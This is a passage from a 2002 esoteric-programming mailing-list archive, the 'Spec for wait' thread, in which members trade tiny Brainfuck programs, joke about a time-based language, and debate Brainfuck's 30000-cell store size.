case for the SPARC--the problem dissolves; we should keep the time in the
smallest data type it will fit in, because keeping it in a bigger type will
not make it translate to another legitimate program, but to a non-program.

(The problem I was trying to avoid was that of having the same number with
and without a bunch of leading zeroes--e.g., the current time in 32-bit and
64-bit format--translate to two different legitimate programs in the
reference language, neither of which any other time would translate to.
Because this would make some programs in the reference language
inaccessible; and then we would have to prove that the reference language
was still Turing-complete with those programs removed, which is a hassle.)

>> -Practically speaking: What should happen if the last instruction in the
>> time is cut off halfway through, because instructions are of varying
>> lengths? Depending on your memory layout, it might get completed with stray
>> data or you might get some kind of memory protection fault. Which one
>> happens is undefined by the spec because the sliced instruction means the
>> program is not a legitimate machine-language program.
> 
> In that case, try to execute something that is not a legitimate instruction.

Hm? Explain what you mean. I think we've largely been talking past each
other so far.

-Daniel.






From esoteric@oiva.sange.fi Fri Jun 28 13:08:54 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17NsgJ-0002Pz-00; Fri, 28 Jun 2002 13:08:47 +0300
Received: with LISTAR (v0.129a; list misc); Fri, 28 Jun 2002 13:08:40 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17Nsg2-0002Po-00; Fri, 28 Jun 2002 13:08:30 +0300
Received: with LISTAR (v0.129a; list lang); Fri, 28 Jun 2002 13:08:23 +0300 (EEST)
Received: from [212.250.174.249] (helo=abydos.freakymousemats.net)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17Nsfu-0002Pi-00
	for lang@esoteric.sange.fi; Fri, 28 Jun 2002 13:08:22 +0300
Received: by abydos.freakymousemats.net (Postfix, from userid 33)
	id 092F51A5DF; Fri, 28 Jun 2002 11:08:23 +0100 (BST)
To: lang@esoteric.sange.fi
Subject: [lang] Re: Spec for wait
From: Cal Henderson <cal@iamcal.com>
X-Sender: <cal@iamcal.com>
X-Mailer: CalMail
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
Message-Id: <20020628100823.092F51A5DF@abydos.freakymousemats.net>
Date: Fri, 28 Jun 2002 11:08:23 +0100 (BST)
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: cal@iamcal.com
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: cal@iamcal.com
Precedence: bulk
X-list: misc

on a slight tangent, a bf-wait script:

http://dev.swp-emap.com/bf_wait.cgi

just takes the time and converts each digit into a bf instrcution (but not ,) and outputs the results.

--cal
"wake from your sleep, the drying of your tears"






From esoteric@oiva.sange.fi Fri Jun 28 13:31:19 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17Nt24-0002fJ-00; Fri, 28 Jun 2002 13:31:16 +0300
Received: with LISTAR (v0.129a; list misc); Fri, 28 Jun 2002 13:31:09 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17Nt1s-0002fD-00; Fri, 28 Jun 2002 13:31:04 +0300
Received: with LISTAR (v0.129a; list lang); Fri, 28 Jun 2002 13:30:56 +0300 (EEST)
Received: from tdsiaccess.demon.co.uk ([158.152.60.40] helo=mailhost.tdsi.co.uk)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17Nt1j-0002f7-00
	for lang@esoteric.sange.fi; Fri, 28 Jun 2002 13:30:56 +0300
Received: from 10.0.0.165 by mailhost.tdsi.co.uk ([10.0.0.230] running VPOP3) with SMTP for <lang@esoteric.sange.fi>; Fri, 28 Jun 2002 11:34:47 +0100
From: dmoss@tdsi.co.uk
To: <lang@esoteric.sange.fi>
Subject: [lang] Re: Spec for wait
Date: Fri, 28 Jun 2002 11:29:48 +0100
Message-ID: <000c01c21e8e$bb78f150$a500000a@td165>
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2910.0)
In-Reply-To: <20020628100823.092F51A5DF@abydos.freakymousemats.net>
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
Importance: Normal
X-Server: VPOP3 V1.5.0a - Registered
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: dmoss@tdsi.co.uk
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: dmoss@tdsi.co.uk
Precedence: bulk
X-list: misc

[NET] C:\>type C:\WINNT\Profiles\dmoss\Desktop\bf-wait.b
-+>[>[ +>
[NET] C:\>bf C:\WINNT\Profiles\dmoss\Desktop\bf-wait.b
Balance Error: Check the number of "["s against the number of "]"s

[NET] C:\>type C:\WINNT\Profiles\dmoss\Desktop\bf-wait-fixed.b
-+>[>[ +>]]
[NET] C:\>bf C:\WINNT\Profiles\dmoss\Desktop\bf-wait-fixed.b

[NET] C:\>

Dave.


-----Original Message-----
From: lang-bounce@esoteric.sange.fi
[mailto:lang-bounce@esoteric.sange.fi]On Behalf Of Cal Henderson
Sent: 28 June 2002 11:08
To: lang@esoteric.sange.fi
Subject: [lang] Re: Spec for wait


on a slight tangent, a bf-wait script:

http://dev.swp-emap.com/bf_wait.cgi

just takes the time and converts each digit into a bf instrcution (but not
,) and outputs the results.

--cal
"wake from your sleep, the drying of your tears"






From esoteric@oiva.sange.fi Fri Jun 28 14:41:35 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17Nu7w-0003Gd-00; Fri, 28 Jun 2002 14:41:24 +0300
Received: with LISTAR (v0.129a; list misc); Fri, 28 Jun 2002 14:41:17 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17Nu7K-0003GG-00; Fri, 28 Jun 2002 14:40:46 +0300
Received: with LISTAR (v0.129a; list lang); Fri, 28 Jun 2002 14:40:39 +0300 (EEST)
Received: from ctb-mesg2.saix.net ([196.25.240.74])
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17Nu7B-0003G8-00
	for lang@esoteric.sange.fi; Fri, 28 Jun 2002 14:40:38 +0300
Received: from lennie (woc53-01-p100.wc.saix.net [155.239.129.100])
	by ctb-mesg2.saix.net (8.11.4/8.11.4) with SMTP id g5SBeUd26844
	for <lang@esoteric.sange.fi>; Fri, 28 Jun 2002 13:40:30 +0200 (SAT)
Message-ID: <012701c21e97$bc6c3be0$0681ef9b@lennie>
From: "D De Villiers" <ddevilliers@lando.co.za>
To: <lang@esoteric.sange.fi>
References: <B940F88E.6AA%cristofd@hevanet.com>
Subject: [lang] Re: Spec for wait
Date: Fri, 28 Jun 2002 13:29:43 +0200
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2615.200
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: ddevilliers@lando.co.za
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: ddevilliers@lando.co.za
Precedence: bulk
X-list: misc

Hello Daniel,

> As far as I know, I'm about the only person on this list who does. And
it's
> not even mine--I'm telnetting to it from a Mac (ick). I reported my
results
> only because I thought some people might be interested.

Did you wrote a compiler for Sun system of your language ?

> My counterproposal--and I say this with real goodwill--is that it's time
for
> a language schism. You should take my spec and descriptions, revise them
> into exactly the language you want, give it a new name, and publicize it.
> Call it "wait--" or "wait86" or "Gouda" or anything you like.

The name "Gouda" seams nice ! :-) There's a town about 30 min. drive from
Worcester (my hometown here in South Africa) that have the name "Gouda" (a
small railway town).

Kind Regards,

Lennie De Villiers

SYSTEMS DEVELOPER & SOFTWARE CONSULTANT
Tel:  +27 82 4455949  Fax: +27 82 131 4455949
Email: ddevilliers@lando.co.za
Web Address: http://www.lando.co.za/Lennie
My CV: http://www.lando.co.za/Lennie/CV.htm







From esoteric@oiva.sange.fi Fri Jun 28 15:12:21 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17NubI-0005cn-00; Fri, 28 Jun 2002 15:11:44 +0300
Received: with LISTAR (v0.129a; list misc); Fri, 28 Jun 2002 15:11:36 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17Nuah-0005cV-00; Fri, 28 Jun 2002 15:11:08 +0300
Received: with LISTAR (v0.129a; list lang); Fri, 28 Jun 2002 15:11:00 +0300 (EEST)
Received: from [212.250.174.249] (helo=abydos.freakymousemats.net)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17Nuaa-0005cP-00
	for lang@esoteric.sange.fi; Fri, 28 Jun 2002 15:11:00 +0300
Received: by abydos.freakymousemats.net (Postfix, from userid 33)
	id ED52E1A2BE; Fri, 28 Jun 2002 13:11:00 +0100 (BST)
To: lang@esoteric.sange.fi
Subject: [lang] Re: Spec for wait
From: Cal Henderson <cal@iamcal.com>
X-Sender: <cal@iamcal.com>
X-Mailer: CalMail
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
Message-Id: <20020628121100.ED52E1A2BE@abydos.freakymousemats.net>
Date: Fri, 28 Jun 2002 13:11:00 +0100 (BST)
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: cal@iamcal.com
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: cal@iamcal.com
Precedence: bulk
X-list: misc

At 11:29 GMT 28.06.02, lang@esoteric.sange.fi wrote:
: [NET] C:\>type C:\WINNT\Profiles\dmoss\Desktop\bf-wait.b
: -+>[>[ +>
: [NET] C:\>bf C:\WINNT\Profiles\dmoss\Desktop\bf-wait.b
: Balance Error: Check the number of "["s against the number of "]"s
: 
: [NET] C:\>type C:\WINNT\Profiles\dmoss\Desktop\bf-wait-fixed.b
: -+>[>[ +>]]
: [NET] C:\>bf C:\WINNT\Profiles\dmoss\Desktop\bf-wait-fixed.b

much better idea :)

here:
http://dev.swp-emap.com/bf_wait.cgi

the problem is that i don't think 9 character bf prog can output anything visible. so it might be a few hundred years before we get any output.

--cal
"the dreams in which i'm dying are the best i've ever had"






From esoteric@oiva.sange.fi Fri Jun 28 15:34:10 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17Nuwx-0005mD-00; Fri, 28 Jun 2002 15:34:07 +0300
Received: with LISTAR (v0.129a; list misc); Fri, 28 Jun 2002 15:34:01 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17Nuwl-0005lr-00; Fri, 28 Jun 2002 15:33:55 +0300
Received: with LISTAR (v0.129a; list lang); Fri, 28 Jun 2002 15:33:48 +0300 (EEST)
Received: from tdsiaccess.demon.co.uk ([158.152.60.40] helo=mailhost.tdsi.co.uk)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17Nuwc-0005ll-00
	for lang@esoteric.sange.fi; Fri, 28 Jun 2002 15:33:47 +0300
Received: from 10.0.0.165 by mailhost.tdsi.co.uk ([10.0.0.230] running VPOP3) with SMTP for <lang@esoteric.sange.fi>; Fri, 28 Jun 2002 13:37:23 +0100
From: dmoss@tdsi.co.uk
To: <lang@esoteric.sange.fi>
Subject: [lang] Re: Spec for wait
Date: Fri, 28 Jun 2002 13:32:22 +0100
Message-ID: <001901c21e9f$daee9f60$a500000a@td165>
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2910.0)
In-Reply-To: <20020628121100.ED52E1A2BE@abydos.freakymousemats.net>
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
Importance: Normal
X-Server: VPOP3 V1.5.0a - Registered
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: dmoss@tdsi.co.uk
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: dmoss@tdsi.co.uk
Precedence: bulk
X-list: misc

[NET] C:\>type C:\WINNT\Profiles\dmoss\Desktop\bf-wait-2.b
-+>[>. ]->
[NET] C:\>bf C:\WINNT\Profiles\dmoss\Desktop\bf-wait-2.b

[NET] C:\>

:p 

David

>At 11:29 GMT 28.06.02, lang@esoteric.sange.fi wrote:
>: [NET] C:\>type C:\WINNT\Profiles\dmoss\Desktop\bf-wait.b
>: -+>[>[ +>
>: [NET] C:\>bf C:\WINNT\Profiles\dmoss\Desktop\bf-wait.b
>: Balance Error: Check the number of "["s against the number of "]"s
>: 
>: [NET] C:\>type C:\WINNT\Profiles\dmoss\Desktop\bf-wait-fixed.b
>: -+>[>[ +>]]
>: [NET] C:\>bf C:\WINNT\Profiles\dmoss\Desktop\bf-wait-fixed.b
>
>much better idea :)
>
>here:
>http://dev.swp-emap.com/bf_wait.cgi
>
>the problem is that i don't think 9 character bf prog can output anything 
>visible. so it might be a few hundred years before we get any output.
>
>--cal
>"the dreams in which i'm dying are the best i've ever had"





From esoteric@oiva.sange.fi Fri Jun 28 15:37:06 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17Nuzn-0005oC-00; Fri, 28 Jun 2002 15:37:03 +0300
Received: with LISTAR (v0.129a; list misc); Fri, 28 Jun 2002 15:36:56 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17Nuzc-0005nv-00; Fri, 28 Jun 2002 15:36:52 +0300
Received: with LISTAR (v0.129a; list lang); Fri, 28 Jun 2002 15:36:44 +0300 (EEST)
Received: from tdsiaccess.demon.co.uk ([158.152.60.40] helo=mailhost.tdsi.co.uk)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17NuzI-0005nT-00
	for lang@esoteric.sange.fi; Fri, 28 Jun 2002 15:36:42 +0300
Received: from 10.0.0.165 by mailhost.tdsi.co.uk ([10.0.0.230] running VPOP3) with SMTP for <lang@esoteric.sange.fi>; Fri, 28 Jun 2002 13:40:13 +0100
From: dmoss@tdsi.co.uk
To: <lang@esoteric.sange.fi>
Subject: [lang] Re: Spec for wait
Date: Fri, 28 Jun 2002 13:35:13 +0100
Message-ID: <001a01c21ea0$4047c080$a500000a@td165>
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2910.0)
In-Reply-To: <20020628121100.ED52E1A2BE@abydos.freakymousemats.net>
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
Importance: Normal
X-Server: VPOP3 V1.5.0a - Registered
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: dmoss@tdsi.co.uk
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: dmoss@tdsi.co.uk
Precedence: bulk
X-list: misc

>the problem is that i don't think 9 character bf prog can output anything
>visible. so it might be a few hundred years before we get any output.

try this:

+[>+.]

Its only 6 chars and outputs all characters in the range 0x01 to 0xff 30000
times each :)






From esoteric@oiva.sange.fi Fri Jun 28 16:02:22 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17NvOC-00061P-00; Fri, 28 Jun 2002 16:02:16 +0300
Received: with LISTAR (v0.129a; list misc); Fri, 28 Jun 2002 16:02:09 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17NvNx-00061H-00; Fri, 28 Jun 2002 16:02:01 +0300
Received: with LISTAR (v0.129a; list lang); Fri, 28 Jun 2002 16:01:54 +0300 (EEST)
Received: from porsta.cs.helsinki.fi ([128.214.48.124])
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17NvNo-00061B-00
	for lang@esoteric.sange.fi; Fri, 28 Jun 2002 16:01:53 +0300
Received: from melkinpaasi.cs.Helsinki.FI (sslwrap@localhost [127.0.0.1])
	by porsta.cs.Helsinki.FI (8.11.6/8.11.6) with ESMTP id g5SD1pi31926
	for <lang@esoteric.sange.fi>; Fri, 28 Jun 2002 16:01:52 +0300
Received: from localhost (pkalliok@localhost)
	by melkinpaasi.cs.Helsinki.FI (8.11.6/8.11.2) with ESMTP id g5SD1kA00793
	for <lang@esoteric.sange.fi>; Fri, 28 Jun 2002 16:01:46 +0300
X-Authentication-Warning: melkinpaasi.cs.Helsinki.FI: pkalliok owned process doing -bs
Date: Fri, 28 Jun 2002 16:01:46 +0300 (EEST)
From: Panu A Kalliokoski <pkalliok@cs.Helsinki.FI>
To: lang@esoteric.sange.fi
Subject: [lang] Re: Spec for wait
In-Reply-To: <20020628121100.ED52E1A2BE@abydos.freakymousemats.net>
Message-ID: <Pine.LNX.4.44.0206281601030.28743-100000@melkinpaasi.cs.Helsinki.FI>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: pkalliok@cs.Helsinki.FI
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: pkalliok@cs.Helsinki.FI
Precedence: bulk
X-list: misc

On Fri, 28 Jun 2002, Cal Henderson wrote:
> much better idea :) here:
> http://dev.swp-emap.com/bf_wait.cgi

Nice to see you guys do good work :)

> the problem is that i don't think 9 character bf prog can output
> anything visible. so it might be a few hundred years before we get any
> output.

Bah. [+.]

-- 

Am fuar -> symb <- am fesh
atehwa@iki.fi







From esoteric@oiva.sange.fi Fri Jun 28 16:02:23 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17NvOH-00061V-00; Fri, 28 Jun 2002 16:02:21 +0300
Received: with LISTAR (v0.129a; list misc); Fri, 28 Jun 2002 16:02:15 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17NvNn-000618-00; Fri, 28 Jun 2002 16:01:52 +0300
Received: with LISTAR (v0.129a; list lang); Fri, 28 Jun 2002 16:01:44 +0300 (EEST)
Received: from [212.250.174.249] (helo=abydos.freakymousemats.net)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17NvNf-000612-00
	for lang@esoteric.sange.fi; Fri, 28 Jun 2002 16:01:43 +0300
Received: by abydos.freakymousemats.net (Postfix, from userid 33)
	id 433461A5DF; Fri, 28 Jun 2002 14:01:44 +0100 (BST)
To: lang@esoteric.sange.fi
Subject: [lang] Re: Spec for wait
From: Cal Henderson <cal@iamcal.com>
X-Sender: <cal@iamcal.com>
X-Mailer: CalMail
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
Message-Id: <20020628130144.433461A5DF@abydos.freakymousemats.net>
Date: Fri, 28 Jun 2002 14:01:44 +0100 (BST)
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: cal@iamcal.com
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: cal@iamcal.com
Precedence: bulk
X-list: misc

: try this:
: 
: +[>+.]
: 
: Its only 6 chars and outputs all characters in the range 0x01 to 0xff 30000
: times each :)

isn't that rather dependant upon the store size?

it would timeout for me i imagine

--cal
"for it's such a lovely day, to have to always feel this way"






From esoteric@oiva.sange.fi Fri Jun 28 16:06:27 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17NvSF-000650-00; Fri, 28 Jun 2002 16:06:27 +0300
Received: with LISTAR (v0.129a; list misc); Fri, 28 Jun 2002 16:06:20 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17NvS7-00064s-00; Fri, 28 Jun 2002 16:06:19 +0300
Received: with LISTAR (v0.129a; list lang); Fri, 28 Jun 2002 16:06:12 +0300 (EEST)
Received: from [212.250.174.249] (helo=abydos.freakymousemats.net)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17NvRz-00064m-00
	for lang@esoteric.sange.fi; Fri, 28 Jun 2002 16:06:11 +0300
Received: by abydos.freakymousemats.net (Postfix, from userid 33)
	id 521D01A5DF; Fri, 28 Jun 2002 14:06:12 +0100 (BST)
To: lang@esoteric.sange.fi
Subject: [lang] Re: Spec for wait
From: Cal Henderson <cal@iamcal.com>
X-Sender: <cal@iamcal.com>
X-Mailer: CalMail
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
Message-Id: <20020628130612.521D01A5DF@abydos.freakymousemats.net>
Date: Fri, 28 Jun 2002 14:06:12 +0100 (BST)
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: cal@iamcal.com
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: cal@iamcal.com
Precedence: bulk
X-list: misc

At 14:01 GMT 28.06.02, Panu A Kalliokoski wrote:
: > the problem is that i don't think 9 character bf prog can output
: > anything visible. so it might be a few hundred years before we get any
: > output.
: 
: Bah. [+.]

sorry, change that to a TERMINATING bf program :)

or perhaps i should set an excecution time limit and return whatever's been output after, say, 1 second.

--cal
"this is the noise that keeps me awake"






From esoteric@oiva.sange.fi Fri Jun 28 16:34:08 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17Nvsv-0006LJ-00; Fri, 28 Jun 2002 16:34:01 +0300
Received: with LISTAR (v0.129a; list misc); Fri, 28 Jun 2002 16:33:54 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17Nvsh-0006LB-00; Fri, 28 Jun 2002 16:33:47 +0300
Received: with LISTAR (v0.129a; list lang); Fri, 28 Jun 2002 16:33:40 +0300 (EEST)
Received: from tdsiaccess.demon.co.uk ([158.152.60.40] helo=mailhost.tdsi.co.uk)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17NvsW-0006L4-00
	for lang@esoteric.sange.fi; Fri, 28 Jun 2002 16:33:39 +0300
Received: from 10.0.0.165 by mailhost.tdsi.co.uk ([10.0.0.230] running VPOP3) with SMTP for <lang@esoteric.sange.fi>; Fri, 28 Jun 2002 14:37:28 +0100
From: dmoss@tdsi.co.uk
To: <lang@esoteric.sange.fi>
Subject: [lang] Re: Spec for wait
Date: Fri, 28 Jun 2002 14:32:27 +0100
Message-ID: <001b01c21ea8$3f1a4360$a500000a@td165>
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2910.0)
In-Reply-To: <20020628130144.433461A5DF@abydos.freakymousemats.net>
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
Importance: Normal
X-Server: VPOP3 V1.5.0a - Registered
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: dmoss@tdsi.co.uk
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: dmoss@tdsi.co.uk
Precedence: bulk
X-list: misc

As I understand it the BrainFuck spec defined the store as a 30000 byte
array. If you break the spec, that's not my fault ]:p

...unless, of course, I'm wrong...

Dave.

>isn't that rather dependant upon the store size?
>
>it would timeout for me i imagine
>
>--cal
>"for it's such a lovely day, to have to always feel this way"






From esoteric@oiva.sange.fi Fri Jun 28 16:58:20 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17NwGP-0006xE-00; Fri, 28 Jun 2002 16:58:17 +0300
Received: with LISTAR (v0.129a; list misc); Fri, 28 Jun 2002 16:58:10 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17NwG6-0006x3-00; Fri, 28 Jun 2002 16:57:58 +0300
Received: with LISTAR (v0.129a; list lang); Fri, 28 Jun 2002 16:57:50 +0300 (EEST)
Received: from [212.250.174.249] (helo=abydos.freakymousemats.net)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17NwFx-0006wx-00
	for lang@esoteric.sange.fi; Fri, 28 Jun 2002 16:57:49 +0300
Received: by abydos.freakymousemats.net (Postfix, from userid 33)
	id B838C1A5DF; Fri, 28 Jun 2002 14:57:49 +0100 (BST)
To: lang@esoteric.sange.fi
Subject: [lang] Re: Spec for wait
From: Cal Henderson <cal@iamcal.com>
X-Sender: <cal@iamcal.com>
X-Mailer: CalMail
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
Message-Id: <20020628135749.B838C1A5DF@abydos.freakymousemats.net>
Date: Fri, 28 Jun 2002 14:57:49 +0100 (BST)
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: cal@iamcal.com
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: cal@iamcal.com
Precedence: bulk
X-list: misc

At 14:32 GMT 28.06.02, lang@esoteric.sange.fi wrote:
: As I understand it the BrainFuck spec defined the store as a 30000 byte
: array. If you break the spec, that's not my fault ]:p
: 
: ...unless, of course, I'm wrong...

oh, i thought it was down to the implementation to define a limit (or not)

my bad

--cal
"just take a little look from our side when you can"






From esoteric@oiva.sange.fi Fri Jun 28 17:28:25 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17NwjM-0007Ap-00; Fri, 28 Jun 2002 17:28:13 +0300
Received: with LISTAR (v0.129a; list misc); Fri, 28 Jun 2002 17:28:06 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17Nwiw-0007AU-00; Fri, 28 Jun 2002 17:27:46 +0300
Received: with LISTAR (v0.129a; list lang); Fri, 28 Jun 2002 17:27:38 +0300 (EEST)
Received: from porsta.cs.helsinki.fi ([128.214.48.124])
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17Nwio-0007AO-00
	for lang@esoteric.sange.fi; Fri, 28 Jun 2002 17:27:38 +0300
Received: from melkinpaasi.cs.Helsinki.FI (sslwrap@localhost [127.0.0.1])
	by porsta.cs.Helsinki.FI (8.11.6/8.11.6) with ESMTP id g5SERbi15737
